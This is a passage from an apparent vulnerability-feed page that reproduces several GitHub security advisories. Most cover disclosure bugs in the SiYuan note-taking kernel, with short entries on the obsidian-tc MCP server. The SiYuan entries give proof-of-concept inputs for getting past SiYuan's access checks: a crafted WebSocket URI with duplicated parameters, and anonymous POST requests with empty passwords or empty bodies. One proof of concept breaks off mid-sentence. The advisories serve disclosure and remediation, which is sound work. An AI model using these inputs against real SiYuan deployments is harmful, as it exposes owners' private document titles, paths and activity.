https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73054&date=2026-10-25 ### Summary Two checks on the same WebSocket request URI parse it differently. The authentication exemption for keepalive sessions matches raw substrings, while the quarantine introduced to contain those sessions reads a parsed query parameter. Because Go's `url.Values.Get` returns only the first value for a repeated key, a single URI can satisfy the exemption and still resolve to a non-auth session identity. The result is that an unauthenticated remote caller connects to the kernel WebSocket with a valid access auth code configured, is placed in the general broadcast pool rather than the quarantined pool, and receives the live event stream. ### Details **The exemption matches substrings.** `kernel/server/serve.go:1222` on the development branch, `:1074` on master: ```go authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") && strings.Contains(s.Request.RequestURI, "&id=auth&type=auth") ``` Neither operand is parsed. Any URI containing both literals is exempted, regardless of what the query actually resolves to. **The quarantine parses.** Commit `1e370e373` added the containment for exempted sessions at `kernel/util/websocket.go:171`: ```go id = session.Request.URL.Query().Get("id") return "auth" == id ``` `url.Values.Get` returns the first value for a repeated key. **The differential.** For the URI: ``` /ws?app=siyuan&id=main&type=main&id=auth&type=auth ``` - It contains `/ws?app=siyuan` and `&id=auth&type=auth`, so `authOk` is true. No cookie, no JWT and no access auth code are required. - `Query().Get("id")` returns `main`, so `IsAuthSession` is false. `AddPushChan` files the session in `sessions`, the broadcast pool, rather than in `authSessions`. - `Query().Get("type")` returns `main`, so the session matches `BroadcastByType("main", ...)`. - Without a valid `X-Auth-Token` the publish flag is never set, so `isPublishSession()` does not exclude it either. Every guard that should have caught the session keys off a different parse than the one that admitted it. **No origin validation.** `CheckOrigin` does not appear on the `/ws` path, so the cross-origin vector described in the parent advisory also remains available. **Distinction from the existing broadcast-pool advisory.** GHSA-mw8r-mw84-88v2 concerns the publish port, where an anonymous session is expected to connect and the defect is that broadcast content is not gated for it afterwards. This report concerns the kernel port with an access auth code configured, where the session should never be admitted in the first place. The leaked data overlaps because both end in the same broadcast pool, but the mechanisms and the affected deployments are different, and gating publish sessions does not close this path. ### Proof of Concept Kernel port, `--accessAuthCode` set. Three WebSocket connections, none carrying credentials of any kind. | Socket | Query | Result | |---|---|---| | A, baseline | `?app=siyuan&id=main&type=main` | Rejected, closed 1002, 0 frames | | B, control | `?app=siyuan&id=auth&type=auth` | Connects, 0 frames | | C, attack | `?app=siyuan&id=main&type=main&id=auth&type=auth` | Connects, 19 to 30 frames across two runs | Socket A establishes that the access auth code is enforced. Socket B establishes that the existing quarantine works exactly as intended, admitting the keepalive session but delivering nothing to it. Socket C differs from B only in the duplicated parameters, and receives the event stream. Frames observed on socket C included `savedoc` (`"action":"create","data":{"Root":{"ID": ...`), `transactions` (`"action":"updateAttrs"` carrying document titles), `filetreeSortChanged` (the notebook's complete ordered `childIDs`), `create` (a notebook object including its `name`), and `backgroundtask`. A canary string placed inside a document body did not appear in any frame, on a full-text search of all captured frames. ### Impact An unauthenticated remote caller obtains the kernel's live event stream on a deployment protected by an access auth code, with no user interaction and no prior knowledge of the instance. Precisely what is disclosed: document identifiers and titles, notebook identifiers and names, file paths, the complete ordered child structure of notebooks, and the full stream of create, update and delete operations as they occur. Document body content is not present in the observed frames. That set corresponds to the disclosure claimed by GHSA-xp2m-98x8-rpj6, which means the remediation for that advisory is bypassable rather than incomplete in scope. The absence of origin validation on the endpoint additionally preserves the cross-origin reachability described there. Confidentiality only. No frames observed permitted writes. ### Suggested fix Make both checks agree, and stop re-parsing attacker-controlled input after admission. 1. In the exemption, parse the query rather than matching substrings, and require `id` and `type` each to equal `auth` exactly. 2. Reject requests carrying duplicated query keys on this endpoint, so no URI can present two identities. 3. Record the exemption as a flag on the session at connect time, and have `IsAuthSession` read that flag rather than re-parsing the request. A session admitted under the keepalive exemption is then quarantined by construction, independent of how its URI is read later. Adding origin validation to `/ws` would additionally close the cross-origin vector. Affected package ranges reported by GitHub: github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260731131820-67bc300b6ea6 Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260731131820-67bc300b6ea6. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden https://kevwire.com/record/CVE-2026-73630 SiYuan: authFilePublishAccess distinguishes hidden and forbidden documents from public and nonexistent ones, and issues a publish-auth cookie for documents it reports as forbidden (Oct 23, 2026). `/api/filetree/authFilePublishAccess` is registered with `CheckAuth` only and is reachable anonymously. It never sets a failure code, so its outcome is signalled entirely by the response message and by whether a `Set-Cookie` header is present. Those two signals differ across access tiers, which lets an anonymous caller determine, for any candidate document identifier, whether that document is public or nonexistent, password-protected, or exists at the hidden or forbidden tier. Separately, hidden and forbidden entries carry an empty password. Submitting `password:""` therefore satisfies the equality check for them, and the server responds by issuing `Set-Cookie: publish-auth- ` for a document whose own tier is forbidden. CVSS 5.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4pjg-x8qj-33j5). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73630&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-4pjg-x8qj-33j5: https://github.com/advisories/GHSA-4pjg-x8qj-33j5 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73630&date=2026-10-25 ### Summary `/api/filetree/authFilePublishAccess` is registered with `CheckAuth` only and is reachable anonymously. It never sets a failure code, so its outcome is signalled entirely by the response message and by whether a `Set-Cookie` header is present. Those two signals differ across access tiers, which lets an anonymous caller determine, for any candidate document identifier, whether that document is public or nonexistent, password-protected, or exists at the hidden or forbidden tier. Separately, hidden and forbidden entries carry an empty password. Submitting `password:""` therefore satisfies the equality check for them, and the server responds by issuing `Set-Cookie: publish-auth- ` for a document whose own tier is forbidden. ### Details **Route,** identical on both refs: ```go ginServer.Handle("POST", "/api/filetree/authFilePublishAccess", model.CheckAuth, authFilePublishAccess) ``` No `CheckAdminRole`, no `CheckReadonly`. **Handler,** `kernel/api/filetree.go:1608` on the development branch and `:1421` on master. `ret.Code` is never assigned on the failure path, so every response carries `code:0`. The branch is: ```go if item.Password == password { // SetPublishAuthCookie } else { ret.Msg = Conf.Language(285) } ``` **The cookie is issued for forbidden documents.** Entries at the hidden and forbidden tiers store `Password == ""`. A request with `password:""` therefore makes `item.Password == password` true for them, and the handler takes the success branch. The server issues a publish-auth cookie for a document it otherwise treats as inaccessible. The cookie itself confers nothing, because those tiers are decided before any password check elsewhere in the codebase. The defect is that the endpoint's success signal does not correspond to access being granted, and that signal is observable. **Three distinguishable outcomes.** With `password:""`, one request per candidate identifier: | Tier of the target | `Set-Cookie` | Body | |---|---|---| | Public (no publish-access entry) | absent | `{"code":0,"msg":""}` | | Nonexistent identifier | absent | `{"code":0,"msg":""}` | | Password-protected | absent | `{"code":0,"msg":"Password is incorrect"}` | | Hidden | **present** | `{"code":0,"msg":""}` | | Forbidden | **present** | `{"code":0,"msg":""}` | Public and nonexistent are indistinguishable from each other, which is correct. Everything else separates. A caller learns whether a given identifier names a password-protected document, or a document that exists at the hidden or forbidden tier, which is precisely the class the publish tiers exist to conceal. **Identifiers are readily available.** Document and block identifiers appear in the DOM of published pages, in reference and backlink payloads, and in annotation reference data. The caller does not need to guess them. **A fourth response on the development branch.** `IsEncryptedPublishRuntimeTarget` sets `ret.Code = -1`, which identifies the supplied identifier as belonging to an encrypted notebook. That is a membership oracle for encrypted notebooks, the same data class as `GHSA-f2rw-w22v-54vh`. ### Proof of Concept Publish mode enabled, `Publish.Auth.Enable` false, anonymous client. One request per candidate identifier, all with an empty password: ``` POST /api/filetree/authFilePublishAccess {"id":" ","password":""} ``` Comparing the response message and the presence of `Set-Cookie` against the table above classifies the identifier. Documents at the hidden and forbidden tiers return a publish-auth cookie and an empty message, distinguishing them both from public documents and from identifiers that name nothing at all. ### Impact An anonymous reader in publish mode, or any publish `RoleReader`, can classify arbitrary document identifiers by access tier and confirm the existence of documents at the hidden and forbidden tiers. On the development branch the same endpoint additionally reveals whether an identifier belongs to an encrypted notebook. Scoped precisely: no document content is disclosed and no privilege is gained, since the issued cookie is inert for these tiers. The value is as a confirmation primitive, turning an identifier obtained elsewhere into a definite statement about a document the reader is not permitted to see. Confidentiality only, with no integrity or availability impact. ### Suggested fix Return an identical response for every failure and for every tier the caller may not access, with no `Set-Cookie` header and no distinguishing message. In particular, do not treat an empty stored password as a successful match: hidden and forbidden entries should short-circuit before the password comparison rather than satisfying it. The encrypted-notebook branch should return the same generic response as everything else rather than its own code. A rate limit on this endpoint would be a reasonable additional hardening measure, though it does not address the disclosure above. Affected package ranges reported by GitHub: github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260731093152-c7522b8db586 Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260731093152-c7522b8db586. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers https://kevwire.com/record/CVE-2026-73049 SiYuan: The publish filter for database backlinks consults the forbidden list instead of the visibility list, disclosing hidden-tier documents to anonymous readers (Oct 23, 2026). `/api/av/getAttributeViewBacklinks` filters its results for reader roles through `FilterAttributeViewBacklinksByPublishAccess`. That function resolves its ignore list with `GetDisablePublishAccess`, which covers only the forbidden tier. Documents at the hidden tier are absent from that list, so they pass the check. The result is that an anonymous reader supplying a publicly visible database row receives the database name, row title and document path of rows in hidden documents that reference it. CVSS 5.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-p4qw-vx5p-g984). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73049&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-p4qw-vx5p-g984: https://github.com/advisories/GHSA-p4qw-vx5p-g984 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73049&date=2026-10-25 ### Summary `/api/av/getAttributeViewBacklinks` filters its results for reader roles through `FilterAttributeViewBacklinksByPublishAccess`. That function resolves its ignore list with `GetDisablePublishAccess`, which covers only the forbidden tier. Documents at the hidden tier are absent from that list, so they pass the check. The result is that an anonymous reader supplying a publicly visible database row receives the database name, row title and document path of rows in hidden documents that reference it. The rest of the function is correct. It takes `*gin.Context` and calls `GetPathPasswordByPublishAccess` and `CheckPublishAuthCookie` at all four decision points, so the password-protected and private tiers are properly enforced. The defect is the choice of list, on one line. ### Details **Route,** `kernel/api/router.go:545` on the development branch and `:527` on master: ```go ginServer.Handle("POST", "/api/av/getAttributeViewBacklinks", model.CheckAuth, getAttributeViewBacklinks) ``` `CheckAuth` only. No `CheckAdminRole`, no `CheckReadonly`. **The defect.** In `FilterAttributeViewBacklinksByPublishAccess` (`kernel/model/publish_access.go:1060` on dev, `:435` on master): ```go publishIgnore := GetDisablePublishAccess(publishAccess) ``` `GetDisablePublishAccess` returns only entries at the forbidden tier. A hidden document has `visible:false`, `password:""`, `disable:false`, so it does not appear in that list. `CheckPathAccessableByPublishIgnore` therefore returns true for it, and because the password is empty the authentication branch short-circuits. Hidden documents pass both halves of the check. **The sibling filter uses the correct list.** The regular backlink panel is the same product feature in the same UI, and it is gated properly. `kernel/api/ref.go:170` `getBacklink2` calls `FilterPathsByPublishAccess`, which at `kernel/model/publish_access.go:1256` resolves its list with `GetInvisiblePublishAccess`. Two backlink filters in the same file, opposite list choices. **The distinction the tiers are meant to draw.** The shipped description of the hidden tier, from `app/appearance/langs/en.json`: ``` publishAccessHiddenComment = "Not publicly visible, can be accessed directly." ``` A direct-access endpoint using the forbidden list is consistent with that: hidden documents are meant to be reachable when the caller already knows the identifier. Backlink discovery is not direct access. The caller supplies the target row and receives the identities of referring rows it never named, which is enumeration, and enumeration is precisely what "not publicly visible" excludes. **Origin.** The filter was introduced by `6da2c736e` (2026-07-18, "Show database relation backlinks in the attribute panel", #10599) with this list choice from the start. No security-focused commit has touched the attribute-view backlink path since. **What is returned.** Per matched backlink: `AvName` (the database name), `Title` (the row title), `DatabasePath` (the HPath of the containing document), `BoxID`, `DatabaseBlockID`, and `Relations[].KeyName`. These are author-written names and titles, not opaque identifiers. ### Proof of Concept Publish mode enabled, `Publish.Auth.Enable` false, anonymous client with no credentials or cookies. Document A is public and holds a database with a row. Document B is set to varying tiers and holds a database whose relation field points at A's row. The attacker needs only A's `avID` and `itemID`, both present in the DOM of A's own published page. Listing control first, establishing that the platform agrees B must not be listed: ``` POST /api/filetree/listDocsByPath → returns only the public document ``` Then the same backlinks request at four tier settings, spaced to clear the 30-second `GetPublishAccess()` cache: | Tier of document B | Result | |---|---| | Hidden (`visible:false`, no password, `disable:false`) | `total:1`, with `avName`, `title`, `databasePath` and `relations[].keyName` for the row in B | | Forbidden (`disable:true`) | `total:0` | | Private (password set) | `total:0` | | Hidden again (restored) | `total:1`, reproducible | The forbidden row confirms that the disable list is what the filter consults. The private row confirms that the password half works correctly. The gap is the hidden tier alone. ``` POST /api/av/getAttributeViewBacklinks {"avID":" ","itemID":" "} → 200, total:1, disclosing the database name, row title and document path of a document the same session cannot list ``` ### Impact An anonymous reader in publish mode, or any publish `RoleReader`, discovers that a hidden document contains a database row referencing a public one, and receives that row's title, its database's name, and the containing document's path. Names and titles are author-written and routinely describe their subject, so this discloses both the existence and the topic of documents the author marked as not publicly visible. The reader does not need to know anything about the hidden document beforehand. The only input is a public row identifier taken from a page they are already entitled to view. Confidentiality only, with no integrity or availability impact. No document body content is returned. ### Suggested fix Change the list resolution in `FilterAttributeViewBacklinksByPublishAccess` to `GetInvisiblePublishAccess`, mirroring `FilterPathsByPublishAccess` on the regular backlink path. The password handling in the function is already correct and needs no change. Affected package ranges reported by GitHub: github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260730150429-5b42614311b0 Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260730150429-5b42614311b0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized https://kevwire.com/record/GHSA-xp3q-r38w-vgqm SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized (Oct 23, 2026). That advisory concerned the administrator's live UI layout, and commit `63c7d5474` resolved it by removing `FilterUILayoutByPublishIgnore` and nulling `Conf.UILayout` for readers. That fix is correct and complete for the live layout. This report concerns a different endpoint, a different filter function and a different storage backing. `/api/storage/getLocalStorage` reads `data/storage/local.json` rather than `Conf.UILayout`, and its filter `FilterLocalStorageByPublishAccess` was not touched by that commit. The consequence is that the same serialized tab objects the earlier fix withheld continue to be served, from the closed-tab history rather than the live layout. CVSS 5.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xp3q-r38w-vgqm). Sources: GitHub-reviewed advisory GHSA-xp3q-r38w-vgqm: https://github.com/advisories/GHSA-xp3q-r38w-vgqm GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Relationship to GHSA-hgfg-j9pg-43xw That advisory concerned the administrator's live UI layout, and commit `63c7d5474` resolved it by removing `FilterUILayoutByPublishIgnore` and nulling `Conf.UILayout` for readers. That fix is correct and complete for the live layout. This report concerns a different endpoint, a different filter function and a different storage backing. `/api/storage/getLocalStorage` reads `data/storage/local.json` rather than `Conf.UILayout`, and its filter `FilterLocalStorageByPublishAccess` was not touched by that commit. The consequence is that the same serialized tab objects the earlier fix withheld continue to be served, from the closed-tab history rather than the live layout. ### Summary Three routes, `/api/storage/getLocalStorage`, `getLocalStorageVal` and `getLocalStorageVals`, are registered with `CheckAuth` only and are reachable by the publish `RoleReader` token and anonymously when `Publish.Auth.Enable` is `false`. All three call `model.GetLocalStorage()` and then, for read-only roles, `FilterLocalStorageByPublishAccess`. That filter begins by assigning the administrator's entire storage map to its return value and then removes three specific fields. Everything else in the map is returned unmodified. A single unauthenticated POST with an empty body returns the administrator's recently closed tabs with their document titles and identifiers, their current search keywords and the paths those searches cover, the expanded private paths in their file tree, and per-document identifiers from several other keys. ### Details **Routes.** `kernel/api/router.go:87-89` on master, the same block on the development branch: ```go ginServer.Handle("POST", "/api/storage/getLocalStorage", model.CheckAuth, getLocalStorage) ginServer.Handle("POST", "/api/storage/getLocalStorageVal", model.CheckAuth, getLocalStorageVal) ginServer.Handle("POST", "/api/storage/getLocalStorageVals", model.CheckAuth, getLocalStorageVals) ``` No `CheckAdminRole`, no `CheckReadonly`. **The filter is an allowlist inverted into a blocklist.** `kernel/model/publish_access.go:911` on master and `:1481` on the development branch, byte-identical on both: ```go func FilterLocalStorageByPublishAccess(publishAccess PublishAccess, localStorage map[string]any) (ret map[string]any) { ret = localStorage // the entire administrator map publishIgnore := GetInvisiblePublishAccess(publishAccess) // clears local-searchkeys["keys"] // clears local-searchasset["k"] and ["keys"] // blanks local-docinfo["id"], only when bt != nil, visible tier only, no password check return } ``` `local.json` holds roughly thirty keys. Three are sanitized. The rest are returned as stored. **What survives.** Taking the client's own list of keys it round-trips through this endpoint (`app/src/protyle/util/compatibility.ts:563`), the notable survivors are: - `local-closed-tabs`. Up to `SIZE_UNDO` entries, each produced by `layoutToJSON(item, tabJSON)` at `app/src/layout/Wnd.ts:779`. This is the same serializer that produced the data in the earlier advisory: tab title, `docIcon`, `rootId`, `notebookId`, `blockId`, `mode`, `action`, and for a Search tab the entire config object. Unfiltered. - `local-searchdata`. The live document-search configuration, including `k` (the search text), `r` (replace text), `hPath`, `idPath` (the paths the search was scoped to) and `types`. Note the filter clears the search *history* array and the *asset*-search keyword, but leaves the document-search keyword itself. The project's own standard is applied to two of the three related fields. - `local-filespaths`. `IFilesPath[]` of `{notebookId, openPaths[]}`, the expanded private notebook and folder paths in the file-tree dock. - `local-fileposition`, `local-outline`, `local-zoom`. Keyed by document or block identifier, so each discloses private document identifiers. - `local-move-path`. `{keys[], k}`, the move-document dialog's path history and last keyword. - `local-recent-docs`, `local-history`, `local-flashcard`, `local-dailynoteid`, `local-layouts`. **The asymmetry is visible in the function signature.** In the same file, `kernel/api/storage.go`: | Handler | Filter | Receives `*gin.Context` | |---|---|---| | `getCriteria` | `FilterCriteriaByPublishAccess(c, ...)` | yes | | `getRecentDocs` | `FilterRecentDocsByPublishAccess(c, ...)` | yes | | `getLocalStorage` / `Val` / `Vals` | `FilterLocalStorageByPublishAccess(publishAccess, data)` | no | The two sibling filters take the request context and can therefore call `CheckPublishAuthCookie` to evaluate the password tier. `FilterLocalStorageByPublishAccess` does not receive the context, so it cannot perform that check at all. The visible-only limitation is fixed in the parameter list rather than in the body. Separately, `local-recent-docs` passes through this endpoint unfiltered, which bypasses the dedicated `FilterRecentDocsByPublishAccess` that guards the same data on `getRecentDocs`. **Note on a prior assessment.** `getLocalStorage` appears on lists of endpoints considered correctly filtered, on the basis that it calls a `Filter*ByPublishAccess` function. That observation is accurate and this report does not contradict it. The filter is called. What it does is assign the whole map and remove three fields. **No persistence side effect.** The in-place mutations the filter performs do not corrupt the administrator's stored state, because `GetLocalStorage` re-reads and unmarshals `storage/local.json` on each call (`kernel/model/storage.go:82`), so the map is per-request. This is noted to pre-empt the concern rather than as part of the finding. ### Proof of Concept Precondition: publish mode enabled (default port 6808), anonymous when `Publish.Auth.Enable` is `false`, otherwise any publish reader account. An administrator who has used the client normally, closing some document tabs and running a search. ``` POST http://127.0.0.1:6808/api/storage/getLocalStorage {} → 200. The returned map Affected package ranges reported by GitHub: github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260729005258-4daee87d4152 Action: GitHub lists first patched versions: github.com/siyuan-note/siyuan/kernel: 0.0.0-20260729005258-4daee87d4152. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### obsidian-tc HTTP transport lacks Origin/DNS-rebinding protection, enabling drive-by vault access on loopback https://kevwire.com/record/CVE-2026-77363 obsidian-tc HTTP transport lacks Origin/DNS-rebinding protection, enabling drive-by vault access on loopback (Oct 12, 2026). obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable HTTP transport does not validate the Host or Origin header or enable DNS-rebinding protection. When the documented loopback configuration uses auth.mode set to none, a malicious web page can send requests to the local MCP endpoint and receive unrestricted vault access through the http-local caller. Version 1.3.1 fixes the vulnerability by enabling host, origin, and DNS-rebinding validation. CVSS 9.6 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-pqh8-4pj7-32xx). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77363&date=2026-10-25). Sources: NVD CVE-2026-77363: https://nvd.nist.gov/vuln/detail/CVE-2026-77363 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0 GitHub-reviewed advisory GHSA-pqh8-4pj7-32xx: https://github.com/advisories/GHSA-pqh8-4pj7-32xx GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77363&date=2026-10-25 obsidian-tc is a governed, agent-ready Model Context Protocol server for Obsidian vaults. Prior to 1.3.1, the Streamable HTTP transport does not validate the Host or Origin header or enable DNS-rebinding protection. When the documented loopback configuration uses auth.mode set to none, a malicious web page can send requests to the local MCP endpoint and receive unrestricted vault access through the http-local caller. Version 1.3.1 fixes the vulnerability by enabling host, origin, and DNS-rebinding validation. NVD status: Deferred. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### obsidian-tc Bridge tools leak denied-note data via unfiltered sibling fields https://kevwire.com/record/CVE-2026-77362 obsidian-tc Bridge tools leak denied-note data via unfiltered sibling fields (Oct 23, 2026). obsidian-tc Bridge tools leak denied-note data via unfiltered sibling fields CVSS 4.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-43r2-c7g8-prc8). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77362&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-43r2-c7g8-prc8: https://github.com/advisories/GHSA-43r2-c7g8-prc8 GitHub public advisory API page: 